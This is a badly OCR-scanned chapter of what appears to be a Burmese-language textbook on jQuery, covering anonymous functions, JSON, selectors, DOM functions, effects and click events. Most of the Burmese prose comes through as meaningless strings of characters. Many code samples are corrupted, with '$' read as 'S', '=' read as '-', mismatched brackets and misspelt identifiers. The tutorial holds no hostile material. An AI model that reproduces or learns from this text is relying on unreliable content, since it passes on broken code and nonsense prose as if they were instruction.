popu ET A Ea Eai Convention E Me = 200% 
§ 201 909: qi: op) 02220390960: :000:0000li! Framework à a 09648096 9103602034029003§ 03:04 6 cop! 
Code coz005qSe08 c909s0qe09403:04 $60? oo»(962209909ooo:(86:(890lo»o9i oa), Framework 
60260 Compiler eco! Debugger cogi Template Engine co28 Test Framework coga: ovolo 
BE cloouSi 


ec o IN c c ec c : o e ç Co c C O Nn 
oooScOcoOesoocajo5coooloc q6 Library eol: MACNA CNR Framework col qe0dad03 
300 van megolo: t @§03:0095es000350960T ecop5oloooŠ!I 4 09:2960900 RNCS: G 
o» Library 30:06 Qoq Library esl 8:1 Library 9003900500038. on R 6002 Framework 


es lenon 


5.2 - jQuery 

jQuery o» JavaScript Utility Framework ooóə[eóoloooŠi səc[eŠsoəo: [sç DOM Manipulation š 
Ajax o? QoS: ou apoyo: 63206 8 09:60:000:0) Framework 053011 "Write less, Do more" oN 
jQuery à esooco3oln jQuery 02900 cBespo5632263299:q|e03 sos) Gso060332096: Code § 00:00: 
CLS og|Šcoobopcoa|Co quica qqàacoloooŠ v 


N 


JooG e ird NYC i John Resig esto? Developer oeo jQuery o? 00268058005 
8ooooli 0$006:q[p:32€ ooógp:o) Website cozs, 99% coman jQuery 200): [o| 000: [00205 ¿sol 
nun 03:30: [95 jQuery ooo JavaScript Framework 6020590 c925:32qp: a: (8$ 0lo» 05i 
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jQuery o? DOM Manipulation, Ajax à Plugin so(8: Q) Qê: eyang] lovon SsəəŠ:go DOM 4 
Plugin o? səc[o2oC:eeso[oco:oleoši Ajax 3986:036029 eoa geo: vlog: Server-side $2002 
0300390900908 And 3993: (@) Ajax with jQuery eosoo5coosoeo[oco:o2o:oleo JQuery 
normes JavaScript à Nameless Function š JSON o232e(0206:09 aae ¿son dol 
@OŠII 


5.3 - Nameless Functions 
Nameless Function soeoəo 32ep$e$0? 390059 Function coz960)1 ooósə5:3əo:[8ç 23:(82:22090090 
oò Sub-Program 60060301 Anonymous Function cocoo5:esl[osoloooŠi JavaScript go Function 
60230 First Class Citizen coo[eóoloooŠi səƏglo5oo Function 0303 cespo2C:ooob:coqoloooŠii 
Function 0299 4,32096:0590 @§205006 Function 6020932806 S0 6009969: C2 olor Function oô 
° . c M . e ç ç oc O ç . e ° T ° M 
902 Variable 02090090 Assign qə copsogE:eo:c8ascgqoloousi Function 02090) ES 0220): [903 
ə] afv: Function 006903 Parameter 22694 copse0:c80503qlos051 First Class 003 DEMN 
° jl . c ° . s O ° e e e e O coc )] € 
o?e(020220 i Function 020902 Variable 0529 329 090009 996:9505905 GOIAVAIACOIOI05 II 


var foo = function () { 
// statements 


} 


° x s x92 c€.9 € Os ` < ° < < < ç o C 
$RP foo apo) Variable Ò 054:0:6090090995c90 Function 059090? 000223€:95099020905000 
oli oo: [8:qj093268 à Assign coóc90$0? Function e» Function Name eoloooo?2»o9(9|(o299 0t $0 

< jl ^ s Q à Q < : o T ;| 
32090 eolo? Function eog Nameless Function 35e0»05 Anonymous Function coges! o»ooli 


foo Variable o5eo Function 09376070181 238 Function o? Evaluate coócoqj6 q66002 
Function esl Q:eslo932056: £oo() ca cs[oosəo3:[o|coososo[sëóoloooši 026§05:990:(96 foo 
Variable ƏQesoo5oo BadagE:aagGaa80500 foo Variable cdo Function o? Evaluate 0208 e(ooc9o? 
oo»o(s$olo»o5u 

Function Rover 0R|§607503.40:0005000:01005 1 sn: [0 alga 


° 


eal ap aoo»: [0 qomo sšŠcoeooo59š Function o? oŠ:[go: Sub-Program 00030) səcoócoOooo:eoco 


^) 


Qê səəc0eq: 90: 86 oloasi 


(function foo() { 
// statements 
DO; 
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` S__2 00 € _€ CO Ç x ç Q ce ç ° e CO SE < 

Nameless Function 006903:038050RE:2096 Oosoocooocooo O: G8O05S0:99 6400500000909€:3296 

Q <ç S AEREA ç ç O x : ç x ç eno qai 5] 

32005 co000p co: fac: [eoo on gepego Function (8903320205 o»9[0:006$ 69 2: 890 

| ç ç o <Ç < < o < < < So. x ` ° eme 

oq: 3160602 6800989:00002096:320632000001 900605002909 Function o?qio(s6: Evaluate 

09036: c9032009 (sd039:03320305 Function oo səcoOcoOooo:eooll mos»: Code e038 so0300(86: 
eQó oŠ: eo: sacpdcpdeoaqjéo3 Sub-program cooo $§05:3.093000:860los05 


Nameless Function cooo coo eoo 3225:32qp: 0264 qpo»6009 Callback (gSolo05u goeo - 


var alive 


function add( a, b, fn ) { 
£ = a + B; 
fn(); 

} 


add(24, 13, function() { 
alert( 'done adding 24 and 13 into i' ); 
)); 


° e 


$993 add() Function o? eslo»02329] q:Q:0240:4093 Callback Function 02690308 Parameter 
s [e° eo:qolo»oóu add() Function oo 00039030906s006qj096090? esoo6 g09(0: 023251 Callback 

: o c ç e ç ° o : c IN o cere e 
Function o> (o4 apses Teog: g (S$olooo5u 30) Function 006902 dopo coO[8:64005 
ao(go: Function 006903 (o§ eal eo:03 coÓesoocajo5 9 Callback esT ovol jQuery y səcoo:oo 


Gq:409:eq: 0040? aoqp:ao[po: 02.920 (gSolos05 


5.4 - JSON (JavaScript Object Notation) 

JSON ooo Data Interchange Format o» [s90lo»oóu og5qjo220$0$$02$9 0? 96023295: (94680 
DIN aog] o§ogSap:c0l somo [o R es pscs i:o Service 
Oriented Architecture (SOA) c9cə[oloooSi SOA §25:0§603 ooo5esooo5ooo:o> Service saaqjézqjé: 
39(0§ s207§ 3003030530096 dol 639(863905:(4, 8603 Data Format eogc9olooo$u XML, YAML 
ofeg səq|l:d|l:9oycooo JSON c095:0069 səolsəoc[eëoloooSi slef JSON 0? Data Interchange 
Format c9esl(sé:(s90lo»ou 


` ° OC x IN : : IN co IN IN 
Data Interchange Format 3268 & aoos:[o$ Coya (o6: JavaScript Object e0205056s020563209020099: 
JSON Bg905:(0,8Eclos05u 09$ Object-Oriented Programming eo Object 60200036802050 Class 
cop Aslan JavaScript VNS: OOP Language 0269[8de0ea5 2290 Class eq:oo: svlocom 
oo: [so:aJo5oli Object Constructor (9360905) JSON Na: [Š:ccoo Object cooo 0205805 
maca qo»»[s$olo»o5u 
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qo5qo? wu SOA 326(0206:02 Rockstar Developer à 3994: (g) goeo(gooo:(8:: JavaScript Object Constructor 
32e(0206:0? Rockstar Developer à 3994: Q) gaeun: loSi JSON 0? 00c5:32026:00909:q|6:65l6c26q 
[olau "eq|jsoš " Arraigo csl [p20lo»o5u 

IL ° le Oo L ° lo 


JSON ooo Hash Array o»9 qi: 0203 c9 cops: asup solons Hash Array o? 0004], 
Language cozgeon Associated Array esl [olon 006 3l Language cogé, Collection, 
Dictionary 003 weng]: soCoooloooSi JavaScript eocooo 333 Hash Array RÒ JSON c9esTooo 


oli 


Classical OOP Language 60290 Object c020295es00056 $94002e63(060:c9030lo»03i 


class (reus 


1 
var wheels - 4; 
var fuel - 60; 


function drive() ( 
this.fuel -= 5; 
// do something else 


) 


var toyota = new Car(); 
print toyota.wheels; # => 4 


toyota.drive(); 
print Coyota. ruel, t= 5 


qÊ: Car Class 020003680203(8:60029 338 Class mes Instantiate osf: toyota 20) Object 
c o IN IN c ; IN ° x 
020090) 0095e800054020{860 ooo! var toyota = new Car() 9903 Statement o» Toyota ooo 
co c e IN IN IN > IN c gy ° e c 
o»o:o»$8:(s9e(o226: e[o(522503909e0:0looo$» Car Class à, modem 0093680003000: 
00m (oco toyota Object go wheels à fuel 3803 Property aóəqes[9: drive () S: o» Method 
mora: erro 


toyota.wheels s9(9: qq wheels Property cbeoQeso> més: 900) 4 o?«9e»[s90l 

on toyota.drive() s9(0: drive () Method o? Evaluate c903023es| Method 03929905905 

000:0) 32096: fuel Property cdo 5 goo: gı slef egooSooda0Geo toyota.fuel |: 
` ` co ° ^ o Oo c ç 

02039081 fuel Property à ecooo$@: 60 0? eqà! 55 qI 


IN enc IN Ç O O C ° > ere IN ° 
sgaoosoooooo[eóoloooi (02898896 3905;(0|03 Language eol goose: ooó[eo:səc[eŠ 006020609 
CN IN co ooc e 
(5903 Constructor eog Access Control eoo Setter/Getter cop 900590380886 clos05 i 
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coc IN 


JavaScript eocooo səcoo:oo Object 029909 JSON 3905;(0)(8: 329 0900936800058 60 II 


var toyota = { 
wheels: 4, 
fuel: 60, 
drives function () 4 
this.fuel -= 5; 
// do something else 


y; 


toyota sQo> JavaScript Object 026903 JSON Object Literal (9003 02$026:22963290325:[8: 0205 
qo? oopŠesooo5coos[e c: [ešoloooši porase qé toyota o? wheels, fuel à drive 3 
o? Index 23:90lo? Array c3 [ëé[eoo8ColoooŠi 3298: (ç) eo JavaScript Array cogo} ecoreslgagé: 
səo>:[0| 0209909009 ecocooàoloooSi 338 Array eo20? Numeric Array c9eslolooo3w Array Index 
602000 0, 1, 2, 3 003 $0lo$5033964 0232020501! JSON c9 Hash Array 602026029 Index o? 40lo$o3. 
¿ 007030 3909500698 c0:000:0) Array aaQ|:32o: (s$0looo3u 


Index 02993009902 Comma ( , ) §3{e0:000:(8:1 Index 0299qJ6:98| Property à Value 026002 
Colon ( : ) şan: @9 300024010051 co: [go:a|o5socsš drive Index 390205 Value o? Nameless 
Function 0269 60:000:02008 cop seo(s$0lo»o5i 


Object o? same? salen: OOP Language 0390085 Dot (. ) o? Object Operator 3644 o): 
oc IN 
&6olo»oóu 


toyota.wheels; # => 4 
toyota.wheels = 6; 
toyota.wheels; # => 6 
toyota.drive(); 

toyota.fuel; # => 55 


JavaScript Code gəçšš c003602 03:0209:250(0209 4 6 0lo2 09 t 
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5.5 - DOM Manipulation with ¡Query 

jQuery $0 JavaScript š (0300ésq:000:60:000:03 Object cop Function 60902 9005:000:(86:0 RY) 
ol ooo 03:30: [96 jQuery ooo JavaScript oldu @(006: da: [So:ooo: o 8$99:090032209009q]: 
con 0009 olog:u 09$6q:220:6$02 JavaScript cogo jQuery oo (0910266q:220:000:60:0? Object 


cog Function cooo c932020090009996: qo» aeo»: [oj fec: 


Programming Language — Libraries — Framework 300305603 32000990603(03(8: (S9olo»o5u 
n c : y ` A Q ç ç ç ç 
jQuery ooocopo: JavaScript § @g:000:000:0) Library ademo Framework 0269[8dclos051 
JavaScript App co2ço aV eoe ang eange (09]06(8:20256 6€: 20:00:60: 
co S20:09: Poo eges 20860220 394]$0§90099006092{860]03051 esqp5eo 290% 
9003009608 32006:906009 jQuery o» eq:60:00o:0? Function 60303 go: copsa8 e30 ecocooq|á 
0294] cooo Logig: 60: qgooli 32956002 Framework 3229:09: $0060209)05:0161 Framework 
° IN c Q Oo IN 2 e oc e IN ° co e e 
GO9699:CoQ9: zaa a qolo»ou a:i 23m: sac9d8opEeo00lo0051 3leo 


eo? affs $s 320: [S| 020363206602 c»2033e4]$ [OŠ co: qg 


3995: (ç) y JavaScript 200):(0/(8: HTML Element coo óen ooon JavaScript qo 





Element coo o? Select 0208 document .getElementByld co DOM Selector o2o9:qolo»o5u 
à . * ° ° e . . ° 1 O x ç OC x 
jQuery goceox2 jQuery Object o» 99:90 lor ón jQuery Object o» jQuery soo2səe@Ə5 3209C:Ó 
so $e 9008 $ Sign &copo: soo»: [o $e 

NI exe Saloos ' : Ox: bi AR. 5] 
(9§ 09360300930) 3260080009 RES om Səqp:ooocooo $ Sign NA jQuery Object 32684 ob: [00 


oD05II ageco nmns: REER $ Sign o? səoà: fol: eoo ce|Oco:ooo:eoooeooli 


olosi $ Sign ooo jQuery Object o? 69000: 0963206 


jQuery Selector $09:(82:8/0502602? Element 60902 CSS Selector 32096: Select opd8é[aé: (esol 

S ` "Ç " Q S " " Q oS S ==" " ° 
on jQuery ("p.note") (2900905) $ ("p.note") c9eq220:c903(86:000 class-"note" eo: 

UN ° ° SO SOS, e e e ce o e 
00:02 «p» Element 20:09:02 Select coóc9o[ec:[ešoloooSi p . note ao: agge 395$:(Q) 
qo condal: (do Element Selector, ID Selector, Dependent Selector, Child Selector, 
Attribute Selector, Group Selector, Pseudo-class oo? CSS Selector 39:09:09 sn (ogcolosSn $ 
303], eo5[peo:c905 olo»oSu 


$ ("p") - «p» Element 320:09:09 Select asas: (gdolo051 

$ ("div p") - <div> 00932030:9090) <p> Element eoza0:0):0 Select c96c909(86:0lu 
$(".des") - class="des" c960:000:02 Element 39:09:09 Select ase: folos 
$("#nav a") - id-"nav" c0:000:0? Element ò% <a> Element o? Select coÓoooolli 

$("hl, h2, h3") -<h1> <h2>3 <h3> Element 32:09:02 Select (s&:(s$0looo5u 
$("input[type-text]:focus") - Focus (839650) «input type="text"> 0209 Select as 
fes: [eëšoloooŠi 


Professional Web Developer - 3295: (9) jQuery 929) 








JavaScript à Element cog 83050 document .getElementByTd š Select c99000:02 Element à 
Content cog Coss] innerHTML o305:(8: Style ezeo] style o$seo5:(gj3olo»oóu 
jQuery à Select coócoo:o> Element 6024, Content o? (ósos html () Function 805: 
oc ç ç ç e co c : O_o ç 

86 oloooŠi Style eog (062062205905c9 «6600? css () Function Ro: qoos 


var element = $("#note"); 
elememt.html("Hello from jQuery"); 
element.css("color", "red"); 


(9960905) 
s(Ménote"”) shtml (“Helle from jQuery") .ess("color", Tred"); 
css() Function go Parameters &9960:00202 ooo(gjolu 69,02 CSS Property (so (8: 6800900 CSS 


Value (9501 cooSi 20039030902 Style 05$0:00 0299000300005«9q66009 o»9c(0226:q/6:68:69 602 
3200: Style Property cog 900o:0? JSON e$: Parameter Neos 


S(Tinote™) «css ("color", "red")oess("background-color'", "yellow" 
Q ç 
(2960905) 
$("#note").css( ( "color": "red", "background-color": "yellow" } ); 


059/05 n n o:a: oSæeş css () Function o? ¿09ls060):000: 000040003 (0 oli ocoesesoeocoo5: html () 

go] 1 874] $$ t4 rasa S ° í l $9174 eo? 
Function à css () Function o? o38005(8: ob:coo:oloooSi jQuery Function 602022 2203903000:02 saas ÍO: 
oc. ceo S ] t iN BN Obi t o ç ç S:[os á ;l e 1 = ° S ] t © IN El t IN 
096: C0059) Select c90c00:0? Object o» coo5soçoo8:[ošco:oloooši sle Select apoqeod Element qè 
: . : O e $.9 x... xu JA e x ce. sols 

jQuery Function 60203 oode: Seq:eegd offs osea: (8: səo5: [Eo 
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5.6 - Getting ¡Query 


IN c coco: : S_o . ° c o 0 oc IN 
MMC, DO NORC ¡query.com meş jQuery CIMA: Version 0? Download coop oS Soosi 


X - o jQuery - Mozilla Firefox 
$ jQuery 
` @jquery.com Q searct & OW ^v v wy &v 


¡Query 


write less, do more. 


Download API Documentation Blog Plugins Browser Support 
aa =: š Y Download jQuery 
v3.1.1 


9 (9-8) jquery.com Website 


e oc ç M Ç ° . c ç . ° c ° oc 
30769/:000:699|$9709006340N 6400280: Version o» 3.1.1 [ešoloooŠi JQuery Nooa: [ogs 
320209 Download qopooo:0? 8603 <script> Element o5:[Š: HTML Document c3o ajodso 


Seo(s$olo»o5i 9400009 ceo[oco:cooooloooSI 09:0508:250(0209 46 0lo» ou 


<!doctype html» 
<html> 
<head> 
<title>Hello jQuery</title> 
</head> 
<body> 
<p id="note">Hello, World!</p> 


<script src- "jquery.js ></script> 
<s era ` 
S("#note") .html( "Hello from jQuery!" ); 


S("#note") .css ({ 
WOOGIE Ms usd. 
"background-color": "yellow", 
padding "Op" 
]); 
SERE 
</body> 
</html> 





MGO 


GO 


IN 
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ga uu «script» Element à src Attribute Q260: 000:03 jquery. js espe jquery. js File ne 


. > OS ny, D 6 ° ç jl 
Path § OC Name N 9$GS2OCCOO2GO: ol 


$) id-"note" C960:000:02 <p> Element o»99olo&olo»ou Element Content 3»esà "Hello, 
World!" o2eo:coo:oloooSi (8160029 jquery. js File o? «script» Element à src Attribute o5:(8: 
o < e IN ç IN e c . SS ç ç O os 
$j032003000$256:60:0lo»03 t 6g003000 «script» Element 02698  09|$60055036$:220:c902 
JavaScript eoo soo aego: 6000109051 


| S("#note").html( "Hello from jQuery!" ); 


- 08.69 3990:000:03390303 #note Element šeco Content o» "Hello, World!" [(sde000$ "Hello 
from jQuery!" c9 e[ooS:ooo:eeoo[eóoloooSi epaod Style 00§$:60203 css () Function 

° ° e e ` e ` e e ` oc Co 
səoà:[o|[Š: oocošeoScoo:obsoooos #note Element à, CSS Style oo 220590960:000:0232096: $0056 
olı 90c9:30$8 padding 10px eş pol: ce[oco:esooo[eecloooSi 


5.7 - jQuery DOM Functions 
° ë ` 


jQuery Object 4 Zoda: [o Š o? DOM Function eog soqp:(p3:Q)olo»oóu RÍO 300): 4p:(9: 
A c0o:25603 Function ÅN eo3(9eo:c9o30lo»oóu 


$(selector).hide() - Element eogogo3eqpo$99o:eoq6023eslo5:olooou JavaScript o94:00 

e : Q < ç x ° e e e e e e 

oŠ: eo: Function 6403320203 CSS display Property o? none opde0:[9E:390:(66 uep eIn 

e Cos ` : : ç i ° e ` ° 

coóqoloooi jQuery e), hide () Function vo: CSS display o? none o9de0:0200161 slevou 
: O_o Os O ÇO Ç ° ° ` ç ç ore 

css () Function a)a):egaqpeqpo Element RISA: decos 0109051 88:00: (30:03: 


: ç Q C MAS ç 
G00»202GO0»? Duration COPQ6GO: CO qa[s<:o[ešoloooši poe? - 
$("#note") .hide ("slow"); 


Z . ç ° . M c ç ° Ç ç c ç e o 
hide () Function 320905 "slow" o» Duration 326$&0099996:60:c903(86:990lo»o5 v 309693000: 
GO: Ags #note Element oo» Animation Effect cco:à[eo5:[eə5:a|ó: ag03eqp03290:9o0li 
° ç ° OC ç ç :11: ` e c ec o ç 
"slow" 3200: "fast" Roa: ¿colon 3leeopo? millisecond &cop9:0209905c9 ls 











200 - $ ("note") . hide (400) co 9005905080596 Animation 390205 2931$ 400 milliseconds 
ox(8:e ag03eqp0360: 9o [ešoloooŠi 400 3200: A DPN 0003903860 ooi 





Professional Web Developer - səəŠ: (9) jQuery 2920 





$ (selector) .show() - hide () 3 sogon eY} Element coguos eA 
o>səslo5:oloooi oscoo5:ó hide () good Duration s005g0Se0:03qolos051 0003909 səo:[o|ó 
hide () š 90702010 


$ (selector) .toggle() - show() š hide () o? c0l6:000:0522620o0li adde ee eqpo? 

s e, co e e e ç e e )| ç Cos ` E ° 
GOz|O21 MARS eP estecon (04005000: 9 [900 on APCOPS20 show () Š hide () çoco 
Duration 00959905905 co:c9gqoloooI 2205909320): [0]ġ sa0pop0ld1 


$ (selector) .slideToggle() - toggle() š zasa bolos ce[oo Effect o» Slide 
Animation eco: olo$ogo:eo(890lo»o5u 9959020302602) Duration @90099030095: Effect oo 320 
dloégo[gdclosaS Duration o? woso aws: 99039033909:(4|43902090101 


$ (selector) .fadeIn() - show () š zaafa bolos QNEN Fade Effect o? cop9996: 


səo>:[O|eo:opoo:eoolu Duration 000390960:&60looo3i 


$(selector).fadeOut() -hide() à a2099 0909 050lo» ou oocoo5:o Fade Effect o? cop?996: 
60:290:900li Duration 000390360:$60loo0 t 


convo? Function 603320:09:390305 Callback Function 000390360:$60 ooon Callback Function 


o ç oc q ç e. re _.e IN IN ç AS 9 XAR € AS (nS IN 
BPO? 9002epcepopocáé: eani qo9(0: qé $S002C002G$802C $jO2G0 C9 O20pO GS02C q|OO (S9olo»o5u poe? 


$("£note").fadeOut("slow", function() { 
alert("Done Hiding the Note."); 
jie 


&Q409o fadeOut () Function 390305 Nameless Function 029909 Callback 3969 &000299660:000: 

oloo fadeOut () jano sajg millisecond oo$qjo»(8: Element o? Animation Effect à 
S < < < < < < ç Q x ee > ` 

0905 GQPAIESIOC esoo6 qo3 eooli Element 0903eqp0363226050023203 (8:023 60:000:05 Callback 

Function o? Evaluate coóco:eo[(s9olo»oóu alejo #note o? Fade Effect eco:à ago3eqpo03e3206 

coóco:[Š:i og05eqpasago:[8s80x8 "Done Hiding the Note." 3803 Message à Alert Box 0002 

eo5[peo:eoe»(8 olor 
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[ jQuery Object ] 
Can also use the 
word jQuery in 
place of $ sign [ jQuery DOM Function ] 
show(), hide(), toggle(), 
css(), attr(), html(), 


[ CSS Selector ] 
e.g., #nav li 


input [type=text] append(), addclas(), 
] etc... 
«container > p 


etC... 


$("p.note" , $("aside")).fade0ut ("slow", function() { 


)); 


[ Callback ] 
Evaluate this 
[ jQuery DOM Selector |] unos arter 
processing 
[ Filter ] fadeout() function 
Meaning: Only select 
elements inside 


<aside> 


9 (9-0) jQuery DOM Function ooogen sae[9d9.00526 


L 





$ (selector) .html () - cu 09(8: (9007932076: Element Content o? (o feéjozaa! a: [b| gol 
nd alua[oé coms} Content o2 qm dc: sa (ogcolo ón 200 - 


var content = $("#note") .html (); 


$§ 05:8, content Variable ton) #note Element UR Content eqoo$86s e»eoolu 
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$ (selector) .text() - html () 3 amoo I aleou 29700 Go:c9090) Content c5ooolo? 
HTML cop o? Text e(o»6:(8:9 ce[oco:oo[eeoloooSi 206d - 


$ (selector) . text ("<b>Hello</b>") ; 
: o ç e c 
text () Function m "<b>Hello</b>" o? "&lt;b&gt;Hello&lt;b&gt;" (89550: 63296 e(oo6: 
e e e ç o < 
(8:9 Content sos 0099256:60: 0909900] 
M o o c o ç c co qc 
$(selector).val() - Form Input Element coà, value o? QRVA (9960905) woe 
seo»: fo glos 2092 - 


$("#£name") .val ("John"); 
var first= $("ffname") wali); 


$ (selector) .append() - Element Content o? html() Function c2 3290:09:0909000605050 
eco Content cone codavlé:(895g05e0:03 Function [ešoloooŠi 
IL °, z 


$ (selector) .prepend() - append () š 39020201511 slevou go Content š, 680090068 coó 
coléco:o»o 9090301 eq.02es(59390360:c9030»o0li 


$ (selector) .appendTo () - 990602) ma Select coócoo:o> Element o? ooó(s»: Element 006 
9 0808 ago:(6:0009c90960q|602329l 25: qolooo3i ooeo - 
$ ("li").appendTo ("ul#menu") ; 


Select c90000:03 «1i» Element oo99c5:0? #menu Element Dm (50560l6:009560:c9039o [edol 
00051 Content o? ogo:009399e09050lon: i Element RA: ogo:cop$ 0903 eooli 
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$(selector).prependTo() - appendTo() à 20692320Q VÒ t Element 006903:03 e209 
Element 029909 e8009006860l6:009960:020609 050 eq mes (595009360: 290: gol 


$ (selector).clone() - Select a:o} Element 32096: 320932031020? Element 029909 goo: 


IL 

GO: 299369 ol poeo - 

$ ("li").clone().prependTo ("#menu") ; 
Select coÓcoo:o> voces): <li> Element o9 seq6so:eQo:c9o(9:e qoo0029go:0?000 #menu 
Element 05 930:000560:60(860l000511 
$ (selector) .wrap() - Select 95000203 Element o? mos»: Element 02998 (8160: c905 coq 
03328] goo5:goloooŠi o0eo - 

S("p#note") .wrap ("<div>"); 
Select c99000:02 <p> Element e, Structure oo <div><p id="note"> ... </p></div> ca 
e(9o6:292:69€ (s60lo»o3 
$ (selector).wrapInner() - wrap () š seno: Rosu Select 095000203 Element solos 
fon) 807030 32096:006$ (8160:032262000li 200 - 

S("p#note") .wrapInner ("<div>"); 


Select coÓcoo:o <p> Element Structure oo <p id="note"><div> ... </div></p> delgoc: 


opo:eooo[eóoloooi 
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$ (selector) .css() - coeo[oš S: (9007932076: Element Style c[ooC:Gob:oloooSi (8:602 coms} 
Property o? qop@coo5:o5:84Colooo3I poeo - 


var color = S$("#note").css("color") ; 


$5 05:8, color Variable obo? inote Element 0 color Value qSogo:eogo(s$olo»o5i 


$ (selector) .height () - coo58 Element à ae(8602«09 ozas] (29) 2209909c902329l 05:86 
cooSi 
$ ("knote") .height ("400px") Qeg #note Element à height Style o? 400px cQ 


^ ç 


000390360:29o:eo[8$0lo»o3i a90005:5 sag§eor CSS height Value o? qoy(96soc(s6:(s90lo»o5u 


$ (selector) .width() - height() š 0G090g/6:3902020]011 Element 4, ao Aqso 
300): [o $colooón 


$ (selector) .offset () - Element š coms} Position o? 9028390305 səo5:[o|àColoooŠi Top š 
Left oo$8: ¿030loco3 JSON səesš [ošcoo5aqeo[eóoloooši ooeo - 


var pos = S$S("#note").offset(); 
pos.left; // #note Element e coms} Left Position 








pos.top; // #note Element e NA Top Position 


$ (selector) .attr() - Select 9000203 Element coo) Attribute Value o? 9998 (0800305) 
99059058 ap: Sécloo05n 200 - 


(ta. back") vattr(' itle" "ago Back"); 
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class="back" @0:000:03 <a> Element e024 title Attribute Value aoesà "Go Back" o? 
IN IN o cc c ;| IN 
0003909 co:cooo[ec:[eëoloooši 


var text = S$S("imgfthumb").attr("alt"); 














$505:& text Variable 0090 thumb Element à alt Value cepo59ooo:oo[eeoloooŠi 


$ (selector) .addClass () - Select c99000:02 Element 320900 class Goo codcop58 o5:oloooóu 


$("#note") .addClass ("active") ca DOF note Element oo active 20) 
< 


class Value (gaSog6é: 000990960:290:90 [sšoloooŠi 


€ c ° core ç ç o ç Ë 
godsajos i u Element 020990 Class 02990009Q(8: nana poe - <div class="row center 
. o ç ç O ec š ç š ° 
clear-fix"> a) VAAN <div> Element 320900 row, center, clear-fix 3903 Class (2) 


9 220390360:c9090000 (880lo»oi addClass () 09 $ego? Class s900:03:805:0r20up0S0lop:11 Class oz 005 


o 


Oo s IN ;l S 
Op 3:092[660lo005: 


$ (selector) .removeClass () - addClass() 4 elgoc:[ogoln $eso? Element Class ¢o20502 


029909 llosgi səo>:[O|qoloooŠi 


$ (selector) .toggleClass () - addClass() à removeClass () o? colé:000:05 ooscooo[eŠ ol 
€ ° c e ° ° ç e e c € 
0001 ego: qEcop5eo:(8:1 eg ¿con (Sj03090560:e»(890lo»o5 


$ (selector) .data () - JavaScript App eoggo Element 60283902 02§$:60203005086:9095: coo: 
Q 320505 data Attribute cog08 o5:3(020looo3i 3295:236qp:03320209 data Attribute ooo HTMLS 
qo Standard Attribute 35684 oloccoo[ó[eóoloooši ¿ol - 


MIO A sp 
<li data-id="123" data-type="sweet">Papaya</1li> 
</ul> 


Professional Web Developer - səəŠ: (9) jQuery 966 





<1i> Element yo data-idà data-type 398: $esolo»oóu 
var id= $("ffruits li").data("id"); 


@ S... 


399:3 id Variable cog <li> Element š, data-id Value o? sSe»(s$olo»o5u Data Value 0209 


00039030996 399090903903860]00051 





S("#fruits li").data("type", "very-sweet"); 


32956002 S("#fruits li").attr("data-type", "very-sweet") ca 6612201209909 Q6 
cops: slcoSoosəoooqo[eóeooli data() Function oo data Attribute 609320905 attr() Function 
3900:05:8603 Shortcut Ac: eso: olop:1 


$ (selector) .parent () - coms} Select 096000703 Element š, Parent Element o? eggo s: [sð 
ol o»oSi 


$(selector).is(selector) - Element o? 9$6s0:025:0looo9i Select a30000:03 Element o? 

Parameter ao (8$ 60:000:02 8005 Selector š o2036960:(8: nomas true oqe false (0560: 

o [ešoloooŠi goeo- S("fnav").is("ul") ca 5:033031 Select 95000203 #nav @ <ul> 

Element 020394 qe true 38.03 qio [pšaeo[eëoloooši $ ("input#email").is(":focus") 

co 99:0? 329] Select as coo:0? #email «input» go Focus [sšesa é true qso? (9$60:90 (sol 
€ 

090 


S e 


coo[oào Function 60303 eones DOM Manipulation o? jQuery & esc gA: 
JavaScript 900500038, eq:00n:(a8:0005 aq: (08: 98o9espo$e0$60000? ooo? (o|8eoolu 099,39 

e oc [e] e e e ç O Ç o Ç e ç e co e 
com SOPC: ed elecoloz:1 Aso: ón 9qf6:02030lo»o5u 005603 0064}, 6[0305 


e > c ere IN IN e IN 
ec Events 602% 0032003(8: (So9goSecocooqolB: eoi 
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5.8 - ¡Query Events 
HTML Element eo) onClick, onMouseOver, onKeyPress ofeg Event Attribute op) 
IN ere ° ` e e c ere e IN > . . e IN 
o0039093(8: 3905:(01994, o 6esoo6qo$eoT eooo5[Š:esooC g0360:0? JavaScript Function cog 2502905 
co: 86608 məğ: (ç) 92 ccocooàoloooŠi jQuery goso 33808 HTML Event Attribute cogo? 99 
o A : ^ ec oc IN ° x e IN coc 
o soapeono JavaScript ooešó wep Element coosəooo> Event c020? BOIR QI 
oli JavaScript 9005000380095: 39000309 asesiad]: qàcceoeo 05:632026: jQuery meow 8 
Cg0363206 096e0:000: 0100051 


<button> o? Click ¿095 3 Function o? Run co:o| 


$("button").click( function() (| 


>); 


© (9-20) jQuery Click Event 


9 (9-95) y click() Function 3905:(01603 @99(G000:0los051 <button> o? Click SSc805e6 
click() Function e, Parameter 3a(§6¢60:000:03 Nameless Function o? Evaluate co6co:2go:eo(só 
olooo9! onClick Attribute o9 «button» go agoxoop?es o«p ecocoooolog:I Q:06:020002602 $940 
0209 eo3(9eo:c9o30lo» ou 03:0508:220(0209 0t 


<!doctype html» 
<html> 
<head> 
<title>jQuery Click Event</title> 
</head> 
<body> 
<div id="note">Hello, World!</div> 
<button>Toggle</button> 





<script src-"jquery.js"»«/script» 
<script- 
$("button").click( function () { 
$("#note") .slideToggle ("fast"); 
J); 
</seript> 
</body> 
</html> 
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° ` Q Q Ç x < < ^ ` ° c c c o 
$HP «button» o9 Click coóc90302328] 2003903000:02 Function Rendón eo[69 c9 
#note Element oo Slide Effect eco:à 6905930: gooli «button» 0268003000 HEROE not 


Element (o4 colonos. 3299:qp:0? jQuery Event Function 60303 coloso: Solo 














$ (selector) .click() - Element o? Click coÓcoo5opsəəsl csooC go362c90) Function 9905905 
BEC obi 


$(selector) .dblclick() - Element o? Double Click ón mol csooCgosoocooy 
Function 99059058Eolos05i 


$ (selector) .mouseenter() - Element o? Mouse š coooasc$oso3s00] csooCgoeocoo 
Function 99059058E0los05 i 


$ (selector) .mouseleave () - Element o? Mouse à 600003000: qpoo Lgs oag] eÂ 


< ° * - < coc < 
qg09?eoco? Function o90c59o5š&ColooošI 


$ (selector) .mousemove() - Element o? Mouse à 600003000:02324|5 Mouse 020076: 


e IN Q * : IN coc 1 IN 
GENC ANCON Function S95O2QO0šCO ODOOII 


$ (selector) .hover() - mouseenter () š mouseleave () o? 6016: o00:oooolit slefox¢ 

: o ° ` . c ç € e c 
hover () Function 0? aoo»: (003308! Function &99c0:qolo»oou 026900 mouseenter () 390205(86 
(8: 65002000900 mouseleave() 320209 uolos POS - 


$("a.back") .hover (function () í 
Fy function(j { 


»; 
